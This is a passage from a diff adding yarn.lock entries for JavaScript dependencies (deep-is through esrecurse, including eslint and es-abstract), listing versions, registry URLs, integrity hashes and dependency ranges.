+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.4.tgz#a6f2dce612fadd2ef1f519b73551f17e85199831"
+  integrity sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==
+
+define-data-property@^1.0.1, define-data-property@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e"
+  integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==
+  dependencies:
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    gopd "^1.0.1"
+
+define-properties@^1.1.3, define-properties@^1.2.0, define-properties@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.2.1.tgz#10781cc616eb951a80a034bafcaa7377f6af2b6c"
+  integrity sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==
+  dependencies:
+    define-data-property "^1.0.1"
+    has-property-descriptors "^1.0.0"
+    object-keys "^1.1.1"
+
+delayed-stream@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
+  integrity sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==
+
+detect-libc@^2.0.4:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/detect-libc/-/detect-libc-2.0.4.tgz#f04715b8ba815e53b4d8109655b6508a6865a7e8"
+  integrity sha512-3UDv+G9CsCKO1WKMGw9fwq/SWJYbI0c5Y7LU1AXYoDdbhE2AHQ6N6Nb34sG8Fj7T5APy8qXDCKuuIHd1BR0tVA==
+
+didyoumean@^1.2.2:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/didyoumean/-/didyoumean-1.2.2.tgz#989346ffe9e839b4555ecf5666edea0d3e8ad037"
+  integrity sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==
+
+dlv@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/dlv/-/dlv-1.1.3.tgz#5c198a8a11453596e751494d49874bc7732f2e79"
+  integrity sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==
+
+doctrine@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-2.1.0.tgz#5cd01fc101621b42c4cd7f5d1a66243716d3f39d"
+  integrity sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==
+  dependencies:
+    esutils "^2.0.2"
+
+doctrine@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-3.0.0.tgz#addebead72a6574db783639dc87a121773973961"
+  integrity sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==
+  dependencies:
+    esutils "^2.0.2"
+
+dunder-proto@^1.0.0, dunder-proto@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.1.tgz#d7ae667e1dc83482f8b70fd0f6eefc50da30f58a"
+  integrity sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==
+  dependencies:
+    call-bind-apply-helpers "^1.0.1"
+    es-errors "^1.3.0"
+    gopd "^1.2.0"
+
+eastasianwidth@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/eastasianwidth/-/eastasianwidth-0.2.0.tgz#696ce2ec0aa0e6ea93a397ffcf24aa7840c827cb"
+  integrity sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==
+
+electron-to-chromium@^1.5.28:
+  version "1.5.29"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.29.tgz#aa592a3caa95d07cc26a66563accf99fa573a1ee"
+  integrity sha512-PF8n2AlIhCKXQ+gTpiJi0VhcHDb69kYX4MtCiivctc2QD3XuNZ/XIOlbGzt7WAjjEev0TtaH6Cu3arZExm5DOw==
+
+emoji-regex@^8.0.0:
+  version "8.0.0"
+  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
+  integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==
+
+emoji-regex@^9.2.2:
+  version "9.2.2"
+  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-9.2.2.tgz#840c8803b0d8047f4ff0cf963176b32d4ef3ed72"
+  integrity sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==
+
+emojis-list@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-3.0.0.tgz#5570662046ad29e2e916e71aae260abdff4f6a78"
+  integrity sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==
+
+enhanced-resolve@^5.15.0:
+  version "5.17.1"
+  resolved "https://registry.yarnpkg.com/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz#67bfbbcc2f81d511be77d686a90267ef7f898a15"
+  integrity sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==
+  dependencies:
+    graceful-fs "^4.2.4"
+    tapable "^2.2.0"
+
+es-abstract@^1.17.5, es-abstract@^1.22.1, es-abstract@^1.22.3, es-abstract@^1.23.0, es-abstract@^1.23.1, es-abstract@^1.23.2, es-abstract@^1.23.3:
+  version "1.23.3"
+  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.23.3.tgz#8f0c5a35cd215312573c5a27c87dfd6c881a0aa0"
+  integrity sha512-e+HfNH61Bj1X9/jLc5v1owaLYuHdeHHSQlkhCBiTK8rBvKaULl/beGMxwrMXjpYrv4pz22BlY570vVePA2ho4A==
+  dependencies:
+    array-buffer-byte-length "^1.0.1"
+    arraybuffer.prototype.slice "^1.0.3"
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.7"
+    data-view-buffer "^1.0.1"
+    data-view-byte-length "^1.0.1"
+    data-view-byte-offset "^1.0.0"
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    es-set-tostringtag "^2.0.3"
+    es-to-primitive "^1.2.1"
+    function.prototype.name "^1.1.6"
+    get-intrinsic "^1.2.4"
+    get-symbol-description "^1.0.2"
+    globalthis "^1.0.3"
+    gopd "^1.0.1"
+    has-property-descriptors "^1.0.2"
+    has-proto "^1.0.3"
+    has-symbols "^1.0.3"
+    hasown "^2.0.2"
+    internal-slot "^1.0.7"
+    is-array-buffer "^3.0.4"
+    is-callable "^1.2.7"
+    is-data-view "^1.0.1"
+    is-negative-zero "^2.0.3"
+    is-regex "^1.1.4"
+    is-shared-array-buffer "^1.0.3"
+    is-string "^1.0.7"
+    is-typed-array "^1.1.13"
+    is-weakref "^1.0.2"
+    object-inspect "^1.13.1"
+    object-keys "^1.1.1"
+    object.assign "^4.1.5"
+    regexp.prototype.flags "^1.5.2"
+    safe-array-concat "^1.1.2"
+    safe-regex-test "^1.0.3"
+    string.prototype.trim "^1.2.9"
+    string.prototype.trimend "^1.0.8"
+    string.prototype.trimstart "^1.0.8"
+    typed-array-buffer "^1.0.2"
+    typed-array-byte-length "^1.0.1"
+    typed-array-byte-offset "^1.0.2"
+    typed-array-length "^1.0.6"
+    unbox-primitive "^1.0.2"
+    which-typed-array "^1.1.15"
+
+es-abstract@^1.23.5, es-abstract@^1.23.6, es-abstract@^1.23.9:
+  version "1.24.0"
+  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.24.0.tgz#c44732d2beb0acc1ed60df840869e3106e7af328"
+  integrity sha512-WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg==
+  dependencies:
+    array-buffer-byte-length "^1.0.2"
+    arraybuffer.prototype.slice "^1.0.4"
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    call-bound "^1.0.4"
+    data-view-buffer "^1.0.2"
+    data-view-byte-length "^1.0.2"
+    data-view-byte-offset "^1.0.1"
+    es-define-property "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.1.1"
+    es-set-tostringtag "^2.1.0"
+    es-to-primitive "^1.3.0"
+    function.prototype.name "^1.1.8"
+    get-intrinsic "^1.3.0"
+    get-proto "^1.0.1"
+    get-symbol-description "^1.1.0"
+    globalthis "^1.0.4"
+    gopd "^1.2.0"
+    has-property-descriptors "^1.0.2"
+    has-proto "^1.2.0"
+    has-symbols "^1.1.0"
+    hasown "^2.0.2"
+    internal-slot "^1.1.0"
+    is-array-buffer "^3.0.5"
+    is-callable "^1.2.7"
+    is-data-view "^1.0.2"
+    is-negative-zero "^2.0.3"
+    is-regex "^1.2.1"
+    is-set "^2.0.3"
+    is-shared-array-buffer "^1.0.4"
+    is-string "^1.1.1"
+    is-typed-array "^1.1.15"
+    is-weakref "^1.1.1"
+    math-intrinsics "^1.1.0"
+    object-inspect "^1.13.4"
+    object-keys "^1.1.1"
+    object.assign "^4.1.7"
+    own-keys "^1.0.1"
+    regexp.prototype.flags "^1.5.4"
+    safe-array-concat "^1.1.3"
+    safe-push-apply "^1.0.0"
+    safe-regex-test "^1.1.0"
+    set-proto "^1.0.0"
+    stop-iteration-iterator "^1.1.0"
+    string.prototype.trim "^1.2.10"
+    string.prototype.trimend "^1.0.9"
+    string.prototype.trimstart "^1.0.8"
+    typed-array-buffer "^1.0.3"
+    typed-array-byte-length "^1.0.3"
+    typed-array-byte-offset "^1.0.4"
+    typed-array-length "^1.0.7"
+    unbox-primitive "^1.1.0"
+    which-typed-array "^1.1.19"
+
+es-define-property@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.0.tgz#c7faefbdff8b2696cf5f46921edfb77cc4ba3845"
+  integrity sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==
+  dependencies:
+    get-intrinsic "^1.2.4"
+
+es-define-property@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.1.tgz#983eb2f9a6724e9303f61addf011c72e09e0b0fa"
+  integrity sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==
+
+es-errors@^1.2.1, es-errors@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f"
+  integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==
+
+es-get-iterator@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/es-get-iterator/-/es-get-iterator-1.1.3.tgz#3ef87523c5d464d41084b2c3c9c214f1199763d6"
+  integrity sha512-sPZmqHBe6JIiTfN5q2pEi//TwxmAFHwj/XEuYjTuse78i8KxaqMTTzxPoFKuzRpDpTJ+0NAbpfenkmH2rePtuw==
+  dependencies:
+    call-bind "^1.0.2"
+    get-intrinsic "^1.1.3"
+    has-symbols "^1.0.3"
+    is-arguments "^1.1.1"
+    is-map "^2.0.2"
+    is-set "^2.0.2"
+    is-string "^1.0.7"
+    isarray "^2.0.5"
+    stop-iteration-iterator "^1.0.0"
+
+es-iterator-helpers@^1.0.19:
+  version "1.0.19"
+  resolved "https://registry.yarnpkg.com/es-iterator-helpers/-/es-iterator-helpers-1.0.19.tgz#117003d0e5fec237b4b5c08aded722e0c6d50ca8"
+  integrity sha512-zoMwbCcH5hwUkKJkT8kDIBZSz9I6mVG//+lDCinLCGov4+r7NIy0ld8o03M0cJxl2spVf6ESYVS6/gpIfq1FFw==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.3"
+    es-errors "^1.3.0"
+    es-set-tostringtag "^2.0.3"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.4"
+    globalthis "^1.0.3"
+    has-property-descriptors "^1.0.2"
+    has-proto "^1.0.3"
+    has-symbols "^1.0.3"
+    internal-slot "^1.0.7"
+    iterator.prototype "^1.1.2"
+    safe-array-concat "^1.1.2"
+
+es-iterator-helpers@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/es-iterator-helpers/-/es-iterator-helpers-1.2.1.tgz#d1dd0f58129054c0ad922e6a9a1e65eef435fe75"
+  integrity sha512-uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.6"
+    es-errors "^1.3.0"
+    es-set-tostringtag "^2.0.3"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.6"
+    globalthis "^1.0.4"
+    gopd "^1.2.0"
+    has-property-descriptors "^1.0.2"
+    has-proto "^1.2.0"
+    has-symbols "^1.1.0"
+    internal-slot "^1.1.0"
+    iterator.prototype "^1.1.4"
+    safe-array-concat "^1.1.3"
+
+es-object-atoms@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.0.0.tgz#ddb55cd47ac2e240701260bc2a8e31ecb643d941"
+  integrity sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw==
+  dependencies:
+    es-errors "^1.3.0"
+
+es-object-atoms@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz#1c4f2c4837327597ce69d2ca190a7fdd172338c1"
+  integrity sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==
+  dependencies:
+    es-errors "^1.3.0"
+
+es-set-tostringtag@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.0.3.tgz#8bb60f0a440c2e4281962428438d58545af39777"
+  integrity sha512-3T8uNMC3OQTHkFUsFq8r/BwAXLHvU/9O9mE0fBc/MY5iq/8H7ncvO947LmYA6ldWw9Uh8Yhf25zu6n7nML5QWQ==
+  dependencies:
+    get-intrinsic "^1.2.4"
+    has-tostringtag "^1.0.2"
+    hasown "^2.0.1"
+
+es-set-tostringtag@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz#f31dbbe0c183b00a6d26eb6325c810c0fd18bd4d"
+  integrity sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==
+  dependencies:
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+    has-tostringtag "^1.0.2"
+    hasown "^2.0.2"
+
+es-shim-unscopables@^1.0.0, es-shim-unscopables@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/es-shim-unscopables/-/es-shim-unscopables-1.0.2.tgz#1f6942e71ecc7835ed1c8a83006d8771a63a3763"
+  integrity sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw==
+  dependencies:
+    hasown "^2.0.0"
+
+es-to-primitive@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a"
+  integrity sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==
+  dependencies:
+    is-callable "^1.1.4"
+    is-date-object "^1.0.1"
+    is-symbol "^1.0.2"
+
+es-to-primitive@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.3.0.tgz#96c89c82cc49fd8794a24835ba3e1ff87f214e18"
+  integrity sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==
+  dependencies:
+    is-callable "^1.2.7"
+    is-date-object "^1.0.5"
+    is-symbol "^1.0.4"
+
+escalade@^3.1.1, escalade@^3.1.2:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.2.0.tgz#011a3f69856ba189dffa7dc8fcce99d2a87903e5"
+  integrity sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==
+
+escape-string-regexp@^1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
+  integrity sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==
+
+escape-string-regexp@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
+  integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
+
+eslint-config-next@15.5.2:
+  version "15.5.2"
+  resolved "https://registry.yarnpkg.com/eslint-config-next/-/eslint-config-next-15.5.2.tgz#9629ed1deaa131e8e80cbae20acf631c8595ca3e"
+  integrity sha512-3hPZghsLupMxxZ2ggjIIrat/bPniM2yRpsVPVM40rp8ZMzKWOJp2CGWn7+EzoV2ddkUr5fxNfHpF+wU1hGt/3g==
+  dependencies:
+    "@next/eslint-plugin-next" "15.5.2"
+    "@rushstack/eslint-patch" "^1.10.3"
+    "@typescript-eslint/eslint-plugin" "^5.4.2 || ^6.0.0 || ^7.0.0 || ^8.0.0"
+    "@typescript-eslint/parser" "^5.4.2 || ^6.0.0 || ^7.0.0 || ^8.0.0"
+    eslint-import-resolver-node "^0.3.6"
+    eslint-import-resolver-typescript "^3.5.2"
+    eslint-plugin-import "^2.31.0"
+    eslint-plugin-jsx-a11y "^6.10.0"
+    eslint-plugin-react "^7.37.0"
+    eslint-plugin-react-hooks "^5.0.0"
+
+eslint-import-resolver-node@^0.3.6, eslint-import-resolver-node@^0.3.9:
+  version "0.3.9"
+  resolved "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz#d4eaac52b8a2e7c3cd1903eb00f7e053356118ac"
+  integrity sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==
+  dependencies:
+    debug "^3.2.7"
+    is-core-module "^2.13.0"
+    resolve "^1.22.4"
+
+eslint-import-resolver-typescript@^3.5.2:
+  version "3.6.3"
+  resolved "https://registry.yarnpkg.com/eslint-import-resolver-typescript/-/eslint-import-resolver-typescript-3.6.3.tgz#bb8e388f6afc0f940ce5d2c5fd4a3d147f038d9e"
+  integrity sha512-ud9aw4szY9cCT1EWWdGv1L1XR6hh2PaRWif0j2QjQ0pgTY/69iw+W0Z4qZv5wHahOl8isEr+k/JnyAqNQkLkIA==
+  dependencies:
+    "@nolyfill/is-core-module" "1.0.39"
+    debug "^4.3.5"
+    enhanced-resolve "^5.15.0"
+    eslint-module-utils "^2.8.1"
+    fast-glob "^3.3.2"
+    get-tsconfig "^4.7.5"
+    is-bun-module "^1.0.2"
+    is-glob "^4.0.3"
+
+eslint-module-utils@^2.12.0, eslint-module-utils@^2.8.1:
+  version "2.12.0"
+  resolved "https://registry.yarnpkg.com/eslint-module-utils/-/eslint-module-utils-2.12.0.tgz#fe4cfb948d61f49203d7b08871982b65b9af0b0b"
+  integrity sha512-wALZ0HFoytlyh/1+4wuZ9FJCD/leWHQzzrxJ8+rebyReSLk7LApMyd3WJaLVoN+D5+WIdJyDK1c6JnE65V4Zyg==
+  dependencies:
+    debug "^3.2.7"
+
+eslint-plugin-import@^2.31.0:
+  version "2.31.0"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-import/-/eslint-plugin-import-2.31.0.tgz#310ce7e720ca1d9c0bb3f69adfd1c6bdd7d9e0e7"
+  integrity sha512-ixmkI62Rbc2/w8Vfxyh1jQRTdRTF52VxwRVHl/ykPAmqG+Nb7/kNn+byLP0LxPgI7zWA16Jt82SybJInmMia3A==
+  dependencies:
+    "@rtsao/scc" "^1.1.0"
+    array-includes "^3.1.8"
+    array.prototype.findlastindex "^1.2.5"
+    array.prototype.flat "^1.3.2"
+    array.prototype.flatmap "^1.3.2"
+    debug "^3.2.7"
+    doctrine "^2.1.0"
+    eslint-import-resolver-node "^0.3.9"
+    eslint-module-utils "^2.12.0"
+    hasown "^2.0.2"
+    is-core-module "^2.15.1"
+    is-glob "^4.0.3"
+    minimatch "^3.1.2"
+    object.fromentries "^2.0.8"
+    object.groupby "^1.0.3"
+    object.values "^1.2.0"
+    semver "^6.3.1"
+    string.prototype.trimend "^1.0.8"
+    tsconfig-paths "^3.15.0"
+
+eslint-plugin-jsx-a11y@^6.10.0:
+  version "6.10.0"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.10.0.tgz#36fb9dead91cafd085ddbe3829602fb10ef28339"
+  integrity sha512-ySOHvXX8eSN6zz8Bywacm7CvGNhUtdjvqfQDVe6020TUK34Cywkw7m0KsCCk1Qtm9G1FayfTN1/7mMYnYO2Bhg==
+  dependencies:
+    aria-query "~5.1.3"
+    array-includes "^3.1.8"
+    array.prototype.flatmap "^1.3.2"
+    ast-types-flow "^0.0.8"
+    axe-core "^4.10.0"
+    axobject-query "^4.1.0"
+    damerau-levenshtein "^1.0.8"
+    emoji-regex "^9.2.2"
+    es-iterator-helpers "^1.0.19"
+    hasown "^2.0.2"
+    jsx-ast-utils "^3.3.5"
+    language-tags "^1.0.9"
+    minimatch "^3.1.2"
+    object.fromentries "^2.0.8"
+    safe-regex-test "^1.0.3"
+    string.prototype.includes "^2.0.0"
+
+eslint-plugin-react-hooks@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-5.0.0.tgz#72e2eefbac4b694f5324154619fee44f5f60f101"
+  integrity sha512-hIOwI+5hYGpJEc4uPRmz2ulCjAGD/N13Lukkh8cLV0i2IRk/bdZDYjgLVHj+U9Z704kLIdIO6iueGvxNur0sgw==
+
+eslint-plugin-react@^7.37.0:
+  version "7.37.5"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-react/-/eslint-plugin-react-7.37.5.tgz#2975511472bdda1b272b34d779335c9b0e877065"
+  integrity sha512-Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA==
+  dependencies:
+    array-includes "^3.1.8"
+    array.prototype.findlast "^1.2.5"
+    array.prototype.flatmap "^1.3.3"
+    array.prototype.tosorted "^1.1.4"
+    doctrine "^2.1.0"
+    es-iterator-helpers "^1.2.1"
+    estraverse "^5.3.0"
+    hasown "^2.0.2"
+    jsx-ast-utils "^2.4.1 || ^3.0.0"
+    minimatch "^3.1.2"
+    object.entries "^1.1.9"
+    object.fromentries "^2.0.8"
+    object.values "^1.2.1"
+    prop-types "^15.8.1"
+    resolve "^2.0.0-next.5"
+    semver "^6.3.1"
+    string.prototype.matchall "^4.0.12"
+    string.prototype.repeat "^1.0.0"
+
+eslint-scope@^7.2.2:
+  version "7.2.2"
+  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-7.2.2.tgz#deb4f92563390f32006894af62a22dba1c46423f"
+  integrity sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==
+  dependencies:
+    esrecurse "^4.3.0"
+    estraverse "^5.2.0"
+
+eslint-visitor-keys@^3.3.0, eslint-visitor-keys@^3.4.1, eslint-visitor-keys@^3.4.3:
+  version "3.4.3"
+  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz#0cd72fe8550e3c2eae156a96a4dddcd1c8ac5800"
+  integrity sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==
+
+eslint@^8.28.0:
+  version "8.57.1"
+  resolved "https://registry.yarnpkg.com/eslint/-/eslint-8.57.1.tgz#7df109654aba7e3bbe5c8eae533c5e461d3c6ca9"
+  integrity sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==
+  dependencies:
+    "@eslint-community/eslint-utils" "^4.2.0"
+    "@eslint-community/regexpp" "^4.6.1"
+    "@eslint/eslintrc" "^2.1.4"
+    "@eslint/js" "8.57.1"
+    "@humanwhocodes/config-array" "^0.13.0"
+    "@humanwhocodes/module-importer" "^1.0.1"
+    "@nodelib/fs.walk" "^1.2.8"
+    "@ungap/structured-clone" "^1.2.0"
+    ajv "^6.12.4"
+    chalk "^4.0.0"
+    cross-spawn "^7.0.2"
+    debug "^4.3.2"
+    doctrine "^3.0.0"
+    escape-string-regexp "^4.0.0"
+    eslint-scope "^7.2.2"
+    eslint-visitor-keys "^3.4.3"
+    espree "^9.6.1"
+    esquery "^1.4.2"
+    esutils "^2.0.2"
+    fast-deep-equal "^3.1.3"
+    file-entry-cache "^6.0.1"
+    find-up "^5.0.0"
+    glob-parent "^6.0.2"
+    globals "^13.19.0"
+    graphemer "^1.4.0"
+    ignore "^5.2.0"
+    imurmurhash "^0.1.4"
+    is-glob "^4.0.0"
+    is-path-inside "^3.0.3"
+    js-yaml "^4.1.0"
+    json-stable-stringify-without-jsonify "^1.0.1"
+    levn "^0.4.1"
+    lodash.merge "^4.6.2"
+    minimatch "^3.1.2"
+    natural-compare "^1.4.0"
+    optionator "^0.9.3"
+    strip-ansi "^6.0.1"
+    text-table "^0.2.0"
+
+espree@^9.6.0, espree@^9.6.1:
+  version "9.6.1"
+  resolved "https://registry.yarnpkg.com/espree/-/espree-9.6.1.tgz#a2a17b8e434690a5432f2f8018ce71d331a48c6f"
+  integrity sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==
+  dependencies:
+    acorn "^8.9.0"
+    acorn-jsx "^5.3.2"
+    eslint-visitor-keys "^3.4.1"
+
+esquery@^1.4.2:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.6.0.tgz#91419234f804d852a82dceec3e16cdc22cf9dae7"
+  integrity sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==
+  dependencies:
+    estraverse "^5.1.0"
+
+esrecurse@^4.3.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921"
